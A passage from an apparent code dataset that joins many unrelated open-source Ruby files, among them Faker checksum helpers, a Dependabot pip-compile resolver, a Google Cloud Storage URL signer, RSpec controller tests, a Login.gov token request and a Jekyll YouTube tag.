# Mod11 functionality from https://github.com/badmanski/mod11/blob/master/lib/mod11.rb
def mod11(number)
weight = [2, 3, 4, 5, 6, 7,
2, 3, 4, 5, 6, 7,
2, 3, 4, 5, 6, 7]
sum = 0
number.to_s.reverse.chars.each_with_index do |char, i|
sum += char.to_i * weight[i]
end
remainder = sum % 11
case remainder
when 0 then remainder
when 1 then nil
else 11 - remainder
end
end
def luhn_algorithm(number)
multiplications = []
number.to_s.reverse.split(//).each_with_index do |digit, i|
multiplications << if i.even?
digit.to_i * 2
else
digit.to_i
end
end
sum = 0
multiplications.each do |num|
num.to_s.each_byte do |character|
sum += character.chr.to_i
end
end
if (sum % 10).zero?
0
else
(sum / 10 + 1) * 10 - sum
end
end
def abn_checksum(abn)
abn_weights = [10, 1, 3, 5, 7, 9, 11, 13, 15, 17, 19]
sum = 0
abn_weights.each_with_index do |weight, i|
sum += weight * abn[i].to_i
end
sum
end
def collect_regon_sum(array)
weights = if array.size == 9
[8, 9, 2, 3, 4, 5, 6, 7]
else
[2, 4, 8, 5, 0, 9, 7, 3, 6, 1, 2, 4, 8]
end
sum = weight_sum(array, weights) % 11
sum == 10 ? 0 : sum
end
def weight_sum(array, weights)
sum = 0
(0..weights.size - 1).each do |index|
sum += (array[index] * weights[index])
end
sum
end
# rubocop:disable Style/AsciiComments
#
# For more on Russian tax number algorithm here:
# https://ru.wikipedia.org/wiki/Идентификационный_номер_налогоплательщика#Вычисление_контрольных_цифр
#
# Range of regions:
# https://ru.wikipedia.org/wiki/Коды_субъектов_Российской_Федерации
# region [String] Any region string
# @param type [Symbol] Legeal or not, defaults to :legal
#
# @return [String]
# @example
# Faker::Comnpany.russian_tax_number
# Faker::Comnpany.russian_tax_number(region: 'AZ')
# Faker::Comnpany.russian_tax_number(region: 'AZ', type: false)
# rubocop:enable Style/AsciiComments
def inn_number(region, type)
n10 = [2, 4, 10, 3, 5, 9, 4, 6, 8]
n11 = [7, 2, 4, 10, 3, 5, 9, 4, 6, 8]
n12 = [3, 7, 2, 4, 10, 3, 5, 9, 4, 6, 8]
region = format('%.2d', rand(0o1..92)) if region.nil?
checksum = if type == :legal
number = region.to_s + rand(1_000_000..9_999_999).to_s
inn_checksum(n10, number)
else
number = region.to_s + rand(10_000_000..99_999_999).to_s
inn_checksum(n11, number) + inn_checksum(n12, number + inn_checksum(n11, number))
end
number + checksum
end
def inn_checksum(factor, number)
(
factor.map.with_index.reduce(0) do |v, i|
v + i[0] * number[i[1]].to_i
end % 11 % 10
).to_s
end
def spanish_cif_control_digit(organization_type, code)
letters = %w[J A B C D E F G H]
control = code.split('').each_with_index.inject(0) do |sum, (value, index)|
if (index + 1).even?
sum + value.to_i
else
sum + spanish_b_algorithm(value.to_i)
end
end
control = control.to_s[-1].to_i
control = control.zero? ? control : 10 - control
%w[A B C D E F G H J U V].include?(organization_type) ? control : letters[control]
end
def spanish_b_algorithm(value)
result = value.to_i * 2
return result if result < 10
result.to_s[0].to_i + result.to_s[1].to_i
end
end
end
end
| 28.498282 | 164 | 0.544013 |
186e6018feef54e6678527d5a734dc6101a803d0 | 19,831 | # frozen_string_literal: true
require "open3"
require "dependabot/dependency"
require "dependabot/python/requirement_parser"
require "dependabot/python/file_fetcher"
require "dependabot/python/file_parser"
require "dependabot/python/file_parser/python_requirement_parser"
require "dependabot/python/update_checker"
require "dependabot/python/file_updater/requirement_replacer"
require "dependabot/python/file_updater/setup_file_sanitizer"
require "dependabot/python/version"
require "dependabot/shared_helpers"
require "dependabot/python/native_helpers"
require "dependabot/python/python_versions"
require "dependabot/python/name_normaliser"
require "dependabot/python/authed_url_builder"
module Dependabot
module Python
class UpdateChecker
# This class does version resolution for pip-compile. Its approach is:
# - Unlock the dependency we're checking in the requirements.in file
# - Run `pip-compile` and see what the result is
# rubocop:disable Metrics/ClassLength
class PipCompileVersionResolver
GIT_DEPENDENCY_UNREACHABLE_REGEX =
/git clone -q (?<url>[^\s]+).* /.freeze
GIT_REFERENCE_NOT_FOUND_REGEX =
%r{git checkout -q (?<tag>[^\n"]+)\n?[^\n]*/(?<name>.*?)(\\n'\]|$)}m.
freeze
attr_reader :dependency, :dependency_files, :credentials
def initialize(dependency:, dependency_files:, credentials:)
@dependency = dependency
@dependency_files = dependency_files
@credentials = credentials
end
def latest_resolvable_version(requirement: nil)
version_string =
fetch_latest_resolvable_version_string(requirement: requirement)
version_string.nil? ? nil : Python::Version.new(version_string)
end
def resolvable?(version:)
@resolvable ||= {}
return @resolvable[version] if @resolvable.key?(version)
@resolvable[version] = if fetch_latest_resolvable_version_string(requirement: "==#{version}")
true
else
false
end
end
private
def fetch_latest_resolvable_version_string(requirement:)
@latest_resolvable_version_string ||= {}
return @latest_resolvable_version_string[requirement] if @latest_resolvable_version_string.key?(requirement)
@latest_resolvable_version_string[requirement] ||=
SharedHelpers.in_a_temporary_directory do
SharedHelpers.with_git_configured(credentials: credentials) do
write_temporary_dependency_files(updated_req: requirement)
install_required_python
filenames_to_compile.each do |filename|
# Shell out to pip-compile.
# This is slow, as pip-compile needs to do installs.
run_pip_compile_command(
"pyenv exec pip-compile --allow-unsafe "\
"#{pip_compile_options(filename)} -P #{dependency.name} "\
"#{filename}"
)
# Run pip-compile a second time, without an update argument,
# to ensure it handles markers correctly
write_original_manifest_files unless dependency.top_level?
run_pip_compile_command(
"pyenv exec pip-compile --allow-unsafe "\
"#{pip_compile_options(filename)} #{filename}"
)
end
# Remove any .python-version file before parsing the reqs
FileUtils.remove_entry(".python-version", true)
parse_updated_files
end
rescue SharedHelpers::HelperSubprocessFailed => e
handle_pip_compile_errors(e)
end
end
# rubocop:disable Metrics/AbcSize
def handle_pip_compile_errors(error)
if error.message.include?("Could not find a version")
check_original_requirements_resolvable
# If the original requirements are resolvable but we get an
# incompatibility error after unlocking then it's likely to be
# due to problems with pip-compile's cascading resolution
return nil
end
if error.message.include?("UnsupportedConstraint")
# If there's an unsupported constraint, check if it existed
# previously (and raise if it did)
check_original_requirements_resolvable
end
if (error.message.include?('Command "python setup.py egg_info') ||
error.message.include?(
"exit status 1: python setup.py egg_info"
)) &&
check_original_requirements_resolvable
# The latest version of the dependency we're updating is borked
# (because it has an unevaluatable setup.py). Skip the update.
return
end
if error.message.include?("Could not find a version ") &&
!error.message.match?(/#{Regexp.quote(dependency.name)}/i)
# Sometimes pip-tools gets confused and can't work around
# sub-dependency incompatibilities. Ignore those cases.
return nil
end
if error.message.match?(GIT_DEPENDENCY_UNREACHABLE_REGEX)
url = error.message.match(GIT_DEPENDENCY_UNREACHABLE_REGEX).
named_captures.fetch("url")
raise GitDependenciesNotReachable, url
end
if error.message.match?(GIT_REFERENCE_NOT_FOUND_REGEX)
name = error.message.match(GIT_REFERENCE_NOT_FOUND_REGEX).
named_captures.fetch("name")
raise GitDependencyReferenceNotFound, name
end
raise
end
# rubocop:enable Metrics/AbcSize
# Needed because pip-compile's resolver isn't perfect.
# Note: We raise errors from this method, rather than returning a
# boolean, so that all deps for this repo will raise identical
# errors when failing to update
def check_original_requirements_resolvable
SharedHelpers.in_a_temporary_directory do
SharedHelpers.with_git_configured(credentials: credentials) do
write_temporary_dependency_files(update_requirement: false)
filenames_to_compile.each do |filename|
run_pip_compile_command(
"pyenv exec pip-compile --allow-unsafe #{filename}"
)
end
true
rescue SharedHelpers::HelperSubprocessFailed => e
# Pick the error message that includes resolvability errors, this might be the cause from
# handle_pip_compile_errors (it's unclear if we should always pick the cause here)
error_message = [e.message, e.cause&.message].compact.find do |msg|
["UnsupportedConstraint", "Could not find a version"].any? { |err| msg.include?(err) }
end
cleaned_message = clean_error_message(error_message || "")
raise if cleaned_message.empty?
raise DependencyFileNotResolvable, cleaned_message
end
end
end
def run_command(command, env: python_env)
start = Time.now
command = SharedHelpers.escape_command(command)
stdout, process = Open3.capture2e(env, command)
time_taken = Time.now - start
return stdout if process.success?
raise SharedHelpers::HelperSubprocessFailed.new(
message: stdout,
error_context: {
command: command,
time_taken: time_taken,
process_exit_value: process.to_s
}
)
end
def pip_compile_options(filename)
options = ["--build-isolation"]
options += pip_compile_index_options
if (requirements_file = compiled_file_for_filename(filename))
options << "--output-file=#{requirements_file.name}"
end
options.join(" ")
end
def pip_compile_index_options
credentials.
select { |cred| cred["type"] == "python_index" }.
map do |cred|
authed_url = AuthedUrlBuilder.authed_url(credential: cred)
if cred["replaces-base"]
"--index-url=#{authed_url}"
else
"--extra-index-url=#{authed_url}"
end
end
end
def run_pip_compile_command(command)
run_command("pyenv local #{python_version}")
run_command(command)
rescue SharedHelpers::HelperSubprocessFailed => e
original_err ||= e
msg = e.message
relevant_error = choose_relevant_error(original_err, e)
raise relevant_error unless error_suggests_bad_python_version?(msg)
raise relevant_error if user_specified_python_version
raise relevant_error if python_version == "2.7.18"
@python_version = "2.7.18"
retry
ensure
@python_version = nil
FileUtils.remove_entry(".python-version", true)
end
def choose_relevant_error(previous_error, new_error)
return previous_error if previous_error == new_error
# If the previous error was definitely due to using the wrong Python
# version, return the new error (which can't be worse)
return new_error if error_certainly_bad_python_version?(previous_error.message)
# Otherwise, if the new error may be due to using the wrong Python
# version, return the old error (which can't be worse)
return previous_error if error_suggests_bad_python_version?(new_error.message)
# Otherwise, default to the new error
new_error
end
def python_env
env = {}
# Handle Apache Airflow 1.10.x installs
if dependency_files.any? { |f| f.content.include?("apache-airflow") }
if dependency_files.any? { |f| f.content.include?("unidecode") }
env["AIRFLOW_GPL_UNIDECODE"] = "yes"
else
env["SLUGIFY_USES_TEXT_UNIDECODE"] = "yes"
end
end
env
end
def error_certainly_bad_python_version?(message)
return true if message.include?("UnsupportedPythonVersion")
unless message.include?('"python setup.py egg_info" failed') ||
message.include?("exit status 1: python setup.py egg_info")
return false
end
message.include?("SyntaxError")
end
def error_suggests_bad_python_version?(message)
return true if error_certainly_bad_python_version?(message)
return true if message.include?("not find a version that satisfies")
return true if message.include?("No matching distribution found")
message.include?('Command "python setup.py egg_info" failed') ||
message.include?("exit status 1: python setup.py egg_info")
end
def write_temporary_dependency_files(updated_req: nil,
update_requirement: true)
dependency_files.each do |file|
path = file.name
FileUtils.mkdir_p(Pathname.new(path).dirname)
updated_content =
if update_requirement then update_req_file(file, updated_req)
else file.content
end
File.write(path, updated_content)
end
# Overwrite the .python-version with updated content
File.write(".python-version", python_version)
setup_files.each do |file|
path = file.name
FileUtils.mkdir_p(Pathname.new(path).dirname)
File.write(path, sanitized_setup_file_content(file))
end
setup_cfg_files.each do |file|
path = file.name
FileUtils.mkdir_p(Pathname.new(path).dirname)
File.write(path, "[metadata]\nname = sanitized-package\n")
end
end
def write_original_manifest_files
pip_compile_files.each do |file|
FileUtils.mkdir_p(Pathname.new(file.name).dirname)
File.write(file.name, file.content)
end
end
def install_required_python
return if run_command("pyenv versions").include?("#{python_version}\n")
run_command("pyenv install -s #{python_version}")
run_command("pyenv exec pip install -r"\
"#{NativeHelpers.python_requirements_path}")
end
def sanitized_setup_file_content(file)
@sanitized_setup_file_content ||= {}
return @sanitized_setup_file_content[file.name] if @sanitized_setup_file_content[file.name]
@sanitized_setup_file_content[file.name] =
Python::FileUpdater::SetupFileSanitizer.
new(setup_file: file, setup_cfg: setup_cfg(file)).
sanitized_content
end
def setup_cfg(file)
dependency_files.find do |f|
f.name == file.name.sub(/\.py$/, ".cfg")
end
end
def update_req_file(file, updated_req)
return file.content unless file.name.end_with?(".in")
req = dependency.requirements.find { |r| r[:file] == file.name }
return file.content + "\n#{dependency.name} #{updated_req}" unless req&.fetch(:requirement)
Python::FileUpdater::RequirementReplacer.new(
content: file.content,
dependency_name: dependency.name,
old_requirement: req[:requirement],
new_requirement: updated_req
).updated_content
end
def normalise(name)
NameNormaliser.normalise(name)
end
def clean_error_message(message)
msg_lines = message.lines
msg = msg_lines.
take_while { |l| !l.start_with?("During handling of") }.
drop_while { |l| l.start_with?("Traceback", " ") }.
join.strip
# Redact any URLs, as they may include credentials
msg.gsub(/http.*?(?=\s)/, "<redacted>")
end
def filenames_to_compile
files_from_reqs =
dependency.requirements.
map { |r| r[:file] }.
select { |fn| fn.end_with?(".in") }
files_from_compiled_files =
pip_compile_files.map(&:name).select do |fn|
compiled_file = compiled_file_for_filename(fn)
compiled_file_includes_dependency?(compiled_file)
end
filenames = [*files_from_reqs, *files_from_compiled_files].uniq
order_filenames_for_compilation(filenames)
end
def compiled_file_for_filename(filename)
compiled_file =
compiled_files.
find { |f| f.content.match?(output_file_regex(filename)) }
compiled_file ||=
compiled_files.
find { |f| f.name == filename.gsub(/\.in$/, ".txt") }
compiled_file
end
def output_file_regex(filename)
"--output-file[=\s]+.*\s#{Regexp.escape(filename)}\s*$"
end
def compiled_file_includes_dependency?(compiled_file)
return false unless compiled_file
regex = RequirementParser::INSTALL_REQ_WITH_REQUIREMENT
matches = []
compiled_file.content.scan(regex) { matches << Regexp.last_match }
matches.any? { |m| normalise(m[:name]) == dependency.name }
end
# If the files we need to update require one another then we need to
# update them in the right order
def order_filenames_for_compilation(filenames)
ordered_filenames = []
while (remaining_filenames = filenames - ordered_filenames).any?
ordered_filenames +=
remaining_filenames.
select do |fn|
unupdated_reqs = requirement_map[fn] - ordered_filenames
(unupdated_reqs & filenames).empty?
end
end
ordered_filenames
end
def requirement_map
child_req_regex = Python::FileFetcher::CHILD_REQUIREMENT_REGEX
@requirement_map ||=
pip_compile_files.each_with_object({}) do |file, req_map|
paths = file.content.scan(child_req_regex).flatten
current_dir = File.dirname(file.name)
req_map[file.name] =
paths.map do |path|
path = File.join(current_dir, path) if current_dir != "."
path = Pathname.new(path).cleanpath.to_path
path = path.gsub(/\.txt$/, ".in")
next if path == file.name
path
end.uniq.compact
end
end
def parse_updated_files
updated_files =
dependency_files.map do |file|
next file if file.name == ".python-version"
updated_file = file.dup
updated_file.content = File.read(file.name)
updated_file
end
Python::FileParser.new(
dependency_files: updated_files,
source: nil,
credentials: credentials
).parse.find { |d| d.name == dependency.name }&.version
end
def python_version
@python_version ||=
user_specified_python_version ||
python_version_matching_imputed_requirements ||
PythonVersions::PRE_INSTALLED_PYTHON_VERSIONS.first
end
def user_specified_python_version
return unless python_requirement_parser.user_specified_requirements.any?
user_specified_requirements =
python_requirement_parser.user_specified_requirements.
map { |r| Python::Requirement.requirements_array(r) }
python_version_matching(user_specified_requirements)
end
def python_version_matching_imputed_requirements
compiled_file_python_requirement_markers =
python_requirement_parser.imputed_requirements.map do |r|
Dependabot::Python::Requirement.new(r)
end
python_version_matching(compiled_file_python_requirement_markers)
end
def python_version_matching(requirements)
PythonVersions::SUPPORTED_VERSIONS_TO_ITERATE.find do |version_string|
version = Python::Version.new(version_string)
requirements.all? do |req|
next req.any? { |r| r.satisfied_by?(version) } if req.is_a?(Array)
req.satisfied_by?(version)
end
end
end
def python_requirement_parser
@python_requirement_parser ||=
FileParser::PythonRequirementParser.new(
dependency_files: dependency_files
)
end
def pre_installed_python?(version)
PythonVersions::PRE_INSTALLED_PYTHON_VERSIONS.include?(version)
end
def setup_files
dependency_files.select { |f| f.name.end_with?("setup.py") }
end
def pip_compile_files
dependency_files.select { |f| f.name.end_with?(".in") }
end
def compiled_files
dependency_files.select { |f| f.name.end_with?(".txt") }
end
def setup_cfg_files
dependency_files.select { |f| f.name.end_with?("setup.cfg") }
end
end
# rubocop:enable Metrics/ClassLength
end
end
end
| 36.588561 | 118 | 0.604559 |
edaadb19392e1b3fa788b75c68aa449f788b8a58 | 1,049 | class SearchBuilder < Blacklight::SearchBuilder
include Blacklight::Solr::SearchBuilderBehavior
include BlacklightRangeLimit::RangeLimitBuilder
# Required by Find It / umlaut
include BlacklightCql::SearchBuilderExtension
include BlacklightAdvancedSearch::AdvancedSearchBuilder
self.default_processor_chain += [:add_advanced_parse_q_to_solr, :add_advanced_search_to_solr]
# Our custom local Solr filters to apply our custom local
# search features.
include JournalTitleApplyLimit
include UnstemSolrParams
include HomePageSolrParamsLogic
include MultiSearchSolrParamsLogic
# @TODO: Removing - EWL
# blacklight_cql is no longer maintained
# include BlacklightCql::SearchBuilderExtension
# @TODO: Removing - EWL
# self.default_processor_chain += [:add_facet_fq_to_solr]
# if BlacklightAdvancedSearch is loaded
# if defined? BlacklightAdvancedSearch
# self.default_processor_chain << :add_facet_fq_to_solr
# end
#self.default_processor_chain += %i[exclude_components filter_by_parent_collections]
end
| 32.78125 | 95 | 0.807436 |
03cf54162530fa2dae079b0d4b28f09b8e78798e | 3,367 | #-- copyright
# OpenProject is a project management system.
# Copyright (C) 2012-2018 the OpenProject Foundation (OPF)
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License version 3.
#
# OpenProject is a fork of ChiliProject, which is a fork of Redmine. The copyright follows:
# Copyright (C) 2006-2017 Jean-Philippe Lang
# Copyright (C) 2010-2013 the ChiliProject Team
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
#
# See docs/COPYRIGHT.rdoc for more details.
#++
require 'spec_helper'
describe PlanningElementTypeColorsController, type: :controller do
let(:current_user) { FactoryGirl.create(:admin) }
before do
allow(User).to receive(:current).and_return current_user
end
describe 'index.html' do
def fetch
get 'index'
end
it_should_behave_like 'a controller action with require_admin'
end
describe 'new.html' do
def fetch
get 'new'
end
it_should_behave_like 'a controller action with require_admin'
end
describe 'create.html' do
def fetch
post 'create', params: { color: FactoryGirl.build(:color).attributes }
end
def expect_redirect_to
Regexp.new(colors_path)
end
it_should_behave_like 'a controller action with require_admin'
end
describe 'edit.html' do
def fetch
@available_color = FactoryGirl.create(:color, id: '1337')
get 'edit', params: { id: '1337' }
end
it_should_behave_like 'a controller action with require_admin'
end
describe 'update.html' do
def fetch
@available_color = FactoryGirl.create(:color, id: '1337')
put 'update', params: { id: '1337', color: { 'name' => 'blubs' } }
end
def expect_redirect_to
colors_path
end
it_should_behave_like 'a controller action with require_admin'
end
describe 'move.html' do
def fetch
@available_color = FactoryGirl.create(:color, id: '1337')
post 'move', params: { id: '1337', color: { move_to: 'highest' } }
end
def expect_redirect_to
colors_path
end
it_should_behave_like 'a controller action with require_admin'
end
describe 'confirm_destroy.html' do
def fetch
@available_color = FactoryGirl.create(:color, id: '1337')
get 'confirm_destroy', params: { id: '1337' }
end
it_should_behave_like 'a controller action with require_admin'
end
describe 'destroy.html' do
def fetch
@available_color = FactoryGirl.create(:color, id: '1337')
post 'destroy', params: { id: '1337' }
end
def expect_redirect_to
colors_path
end
it_should_behave_like 'a controller action with require_admin'
end
end
| 29.278261 | 91 | 0.707752 |
6a92fe423adb601752557f1734553cda75413980 | 5,881 | # Copyright 2017 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
require "addressable/uri"
require "base64"
require "cgi"
require "openssl"
require "google/cloud/storage/errors"
module Google
module Cloud
module Storage
class File
##
# @private Create a signed_url for a file.
class SignerV2
def initialize bucket, path, service
@bucket = bucket
@path = path
@service = service
end
def self.from_file file
new file.bucket, file.name, file.service
end
def self.from_bucket bucket, path
new bucket.name, path, bucket.service
end
##
# The external path to the file, URI-encoded.
# Will not URI encode the special `${filename}` variable.
# "You can also use the ${filename} variable..."
# https://cloud.google.com/storage/docs/xml-api/post-object
#
def ext_path
path = "/#{@bucket}/#{@path}"
escaped = Addressable::URI.encode_component path, Addressable::URI::CharacterClasses::PATH
special_var = "${filename}"
# Restore the unencoded `${filename}` variable, if present.
if path.include? special_var
return escaped.gsub "$%7Bfilename%7D", special_var
end
escaped
end
##
# The external url to the file.
def ext_url
"#{GOOGLEAPIS_URL}#{ext_path}"
end
def apply_option_defaults options
adjusted_expires = (Time.now.utc + (options[:expires] || 300)).to_i
options[:expires] = adjusted_expires
options[:method] ||= "GET"
options
end
def signature_str options
[options[:method], options[:content_md5],
options[:content_type], options[:expires],
format_extension_headers(options[:headers]) + ext_path].join "\n"
end
def determine_signing_key options = {}
signing_key = options[:signing_key] || options[:private_key] ||
options[:signer] || @service.credentials.signing_key
raise SignedUrlUnavailable, error_msg("signing_key (private_key, signer)") unless signing_key
signing_key
end
def determine_issuer options = {}
issuer = options[:issuer] || options[:client_email] || @service.credentials.issuer
raise SignedUrlUnavailable, error_msg("issuer (client_email)") unless issuer
issuer
end
def error_msg attr_name
"Service account credentials '#{attr_name}' is missing. To generate service account credentials " \
"see https://cloud.google.com/iam/docs/service-accounts"
end
def post_object options
options = apply_option_defaults options
fields = {
key: ext_path.sub("/", "")
}
p = options[:policy] || {}
raise "Policy must be given in a Hash" unless p.is_a? Hash
i = determine_issuer options
s = determine_signing_key options
policy_str = p.to_json
policy = Base64.strict_encode64(policy_str).delete "\n"
signature = generate_signature s, policy
fields[:GoogleAccessId] = i
fields[:signature] = signature
fields[:policy] = policy
Google::Cloud::Storage::PostObject.new GOOGLEAPIS_URL, fields
end
def signed_url options
options = apply_option_defaults options
i = determine_issuer options
s = determine_signing_key options
sig = generate_signature s, signature_str(options)
generate_signed_url i, sig, options[:expires], options[:query]
end
def generate_signature signing_key, secret
unencoded_signature = ""
if signing_key.is_a? Proc
unencoded_signature = signing_key.call secret
else
unless signing_key.respond_to? :sign
signing_key = OpenSSL::PKey::RSA.new signing_key
end
unencoded_signature = signing_key.sign OpenSSL::Digest::SHA256.new, secret
end
Base64.strict_encode64(unencoded_signature).delete "\n"
end
def generate_signed_url issuer, signed_string, expires, query
url = "#{ext_url}?GoogleAccessId=#{url_escape issuer}" \
"&Expires=#{expires}" \
"&Signature=#{url_escape signed_string}"
query&.each do |name, value|
url << "&#{url_escape name}=#{url_escape value}"
end
url
end
def format_extension_headers headers
return "" if headers.nil?
raise "Headers must be given in a Hash" unless headers.is_a? Hash
flatten = headers.map do |key, value|
"#{key.to_s.downcase}:#{value.gsub(/\s+/, ' ')}\n"
end
flatten.reject! { |h| h.start_with? "x-goog-encryption-key" }
flatten.sort.join
end
def url_escape str
CGI.escape String str
end
end
end
end
end
end
| 33.605714 | 111 | 0.583574 |
f7b7af16dd864ee72d612158fc71f063589338ae | 419 | # frozen_string_literal: true
module AcaEntities
module Medicaid
module Contracts
# Contract for TaxDependent
class TaxDependentContract < Dry::Validation::Contract
params do
required(:role_reference).filled(:hash)
optional(:claimed_by_custodial_parent_indicator).filled(:bool)
optional(:tin_identification).filled(:hash)
end
end
end
end
end | 24.647059 | 72 | 0.682578 |
62e9097666861e736457f0e61f29be10e09b4936 | 515 | class SchemeReportPresenter < ReportPresenter
attr_accessor :scheme
delegate :name, to: :scheme
def initialize(scheme:,
report_form: ReportForm.new(from_date: scheme.created_at, to_date: Date.current))
self.scheme = scheme
self.report_form = report_form
end
def defects
@defects ||= Defect.for_scheme([scheme.id])
.where(added_at: report_form.date_range)
end
def defects_by_priority(priority:)
defects.for_priorities([priority.id])
end
end
| 25.75 | 98 | 0.691262 |
28bedabd30da794fddb5993ff5ceb66a16d788c1 | 115 | RSpec.describe Tictactoe do
it "has a version number" do
expect(Tictactoe::VERSION).not_to be nil
end
end
| 16.428571 | 44 | 0.730435 |
289a006d3c231bf6b55fdd023dae5ecc13697ed2 | 1,655 | require 'spec_helper'
describe "sys_users", type: :feature, dbscope: :example do
shared_examples "shows sys/sns error page" do
it do
expect(page).to have_title(title)
within "#head" do
expect(page).to have_css(".ss-logo-application-name", text: "SHIRASAGI")
expect(page).to have_css("nav.user")
end
within ".main-navi" do
expect(page).to have_link(I18n.t("sns.account"))
expect(page).to have_link(I18n.t("job.task_manager"))
end
within "#addon-basic" do
expect(page).to have_css(".addon-head", text: I18n.t("ss.rescues.default.head"))
expect(page).to have_css(".addon-body", text: I18n.t("ss.rescues.default.body").split("<br>").first)
end
within "footer.send" do
expect(page).to have_link(I18n.t("ss.links.back"), href: sns_mypage_path)
end
end
end
context "403: when user has no permissions" do
let(:user) { create :ss_user, name: unique_id, email: "#{unique_id}@example.jp" }
let(:title) { "403 Forbidden | SHIRASAGI" }
before do
login_user user
visit sys_users_path
end
include_context "shows sys/sns error page"
end
context "404: when no records are existed" do
let(:title) { "404 Not Found | SHIRASAGI" }
before do
login_sys_user
visit sys_user_path(id: 999_999)
end
include_context "shows sys/sns error page"
end
context "404: when no routes matches" do
let(:title) { "404 Not Found | SHIRASAGI" }
before do
login_sys_user
visit "#{sys_main_path}/#{unique_id}"
end
include_context "shows sys/sns error page"
end
end
| 28.050847 | 108 | 0.641692 |
33a658863ec1ce8713ade380b5376e58afa9d537 | 2,264 | # frozen_string_literal: true
require_relative "../create_has_many_record"
module Fixably
module ActiveResource
class PaginatedCollection < ::ActiveResource::Collection
class << self
def paginatable?(value)
collection = attributes(value)
return false unless collection.is_a?(Hash)
interface = %w[limit offset total_items items]
(interface - collection.keys).empty?
end
def attributes(collection_wrapper)
if collection_wrapper.respond_to?(:attributes)
collection_wrapper.attributes
else
collection_wrapper
end
end
end
attr_reader :limit
attr_reader :offset
attr_reader :total_items
attr_accessor :parent_resource
attr_accessor :parent_association
def initialize(collection_wrapper = nil)
@limit = collection_wrapper&.fetch("limit") || 0
@offset = collection_wrapper&.fetch("offset") || 0
@total_items = collection_wrapper&.fetch("totalItems") do
collection_wrapper.fetch("total_items")
end || 0
collection = collection_wrapper&.fetch("items") || []
super(collection)
end
def <<(record)
CreateHasManyRecord.(record: record, collection: self)
end
def paginated_each
page = self
loop do
page.each { yield(_1) }
break unless page.next_page?
page = page.next_page
end
end
def paginated_map
[].tap do |records|
paginated_each { records << _1 }
end
end
def next_page
raise StopIteration, "There are no more pages" unless next_page?
where(limit: limit, offset: offset + limit)
end
def next_page?
(limit + offset) < total_items
end
def previous_page
raise StopIteration, "There are no more pages" unless previous_page?
new_offset = offset - limit
new_limit = limit
new_limit += new_offset if new_offset.negative?
new_offset = 0 if new_offset.negative?
where(limit: new_limit, offset: new_offset)
end
def previous_page?
offset.positive?
end
end
end
end
| 24.608696 | 76 | 0.613074 |
abf5c3799d7088b490dcb545e6aab03c4644f434 | 1,623 | module OmniAuth
module LoginDotGov
class IdTokenRequest
attr_reader :code, :client
def initialize(code:, client:)
@code = code
@client = client
end
def request_id_token
response = Faraday.post(
client.idp_configuration.token_endpoint,
client_assertion: client_assertion_jwt,
client_assertion_type: 'urn:ietf:params:oauth:client-assertion-type:jwt-bearer',
code: code,
grant_type: 'authorization_code'
)
raise_id_token_request_failed_error(response) unless response.success?
id_token_from_respone(response)
end
private
def client_assertion_jwt
client_id = client.client_id
data = {
iss: client_id,
sub: client_id,
aud: client.idp_configuration.token_endpoint,
jti: SecureRandom.urlsafe_base64(32),
exp: Time.now.to_i + 300
}
JWT.encode data, client.private_key, 'RS256'
end
def id_token_from_respone(response)
parsed_body = MultiJson.load(response.body)
IdToken.new(
id_token: parsed_body['id_token'],
access_token: parsed_body['access_token'],
client: client,
expires_in: parsed_body['expires_in'],
token_type: parsed_body['token_type']
)
end
def raise_id_token_request_failed_error(response)
status_code = response.status
error_message = "Id token request failed with status code: #{status_code}"
raise IdTokenRequestError, error_message
end
end
end
end
| 28.982143 | 90 | 0.634627 |
f8b4b2720c7d94746506d8e0871e82e688062c27 | 613 | Pod::Spec.new do |s|
s.name = "MHPrettyDate"
s.version = "1.0.1"
s.summary = "An iOS framework that provides a simple mechanism to get \"Pretty Dates\" (\"Yesterday\", \"Today\", etc.) from NSDate objects."
s.homepage = "https://github.com/bobjustbob/MHPrettyDate"
s.license = 'MIT'
s.author = { "Bobby Williams" => "[email protected]" }
s.source = { :git => "https://github.com/bobjustbob/MHPrettyDate.git", :tag => "v1.0.1" }
s.platform = :ios, '5.0'
s.source_files = 'MHPrettyDate/**/*.{h,m}'
s.requires_arc = true
s.framework = 'Foundation'
end
| 43.785714 | 149 | 0.597064 |
acb5179742461bb1ddf5d3a69d9f0ec0efd95d82 | 980 | #
# responsive-youtube-jekyll-tag.rb
#
# by Jeffrey Morgan
# https://jeffreymorgan.io/
#
# Use Twitter Bootstrap's CSS to embed responsive YouTube videos.
#
# Usage:
#
# 1. Copy this file into your Jekyll _plugins folder
#
# 2. Add the youtube tag with a YouTube video ID where you
# want to embed the video
#
# For example, to embed the video with the link
# https://www.youtube.com/watch?v=tnq2gwBhvCc
# use the following tag:
#
# {% youtube tnq2gwBhvCc %}
#
module Jekyll
class ResponsiveYouTubeTag < Liquid::Tag
def initialize(tag_name, markup, options)
super
@video_id = markup.strip
end
def render(context)
%Q[
<div class="embed-responsive embed-responsive-16by9">
<iframe class="embed-responsive-item" width="560" height="315" src="https://www.youtube.com/embed/#{@video_id}" frameborder="0" allowfullscreen>
</iframe>
</div>
]
end
end
end
Liquid::Template.register_tag("youtube", Jekyll::ResponsiveYouTubeTag)
| 23.333333 | 146 | 0.697959 |
4a6f232ffaec508241c5f32a276aec4db6af35be | 910 | cask 'slite' do
version '1.0.19'
sha256 'ceaab1c064e43f770f9cf3822fa19a363dc44309abfc9caba9f669fb3b02ec65'
# storage.googleapis.com/slite-desktop was verified as official when first introduced to the cask
url "https://storage.googleapis.com/slite-desktop/mac/Slite-#{version}.dmg"
